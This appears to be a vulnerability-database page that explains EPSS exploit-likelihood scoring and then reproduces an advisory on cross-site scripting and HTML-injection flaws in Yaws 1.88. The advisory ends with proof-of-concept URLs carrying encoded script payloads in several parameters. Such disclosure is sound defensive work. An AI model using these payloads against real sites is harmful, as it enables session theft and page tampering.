EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/51276/info Yaws is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible. Yaws 1.88 is vulnerable; other versions may be affected. http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/editPage.yaws?node=home
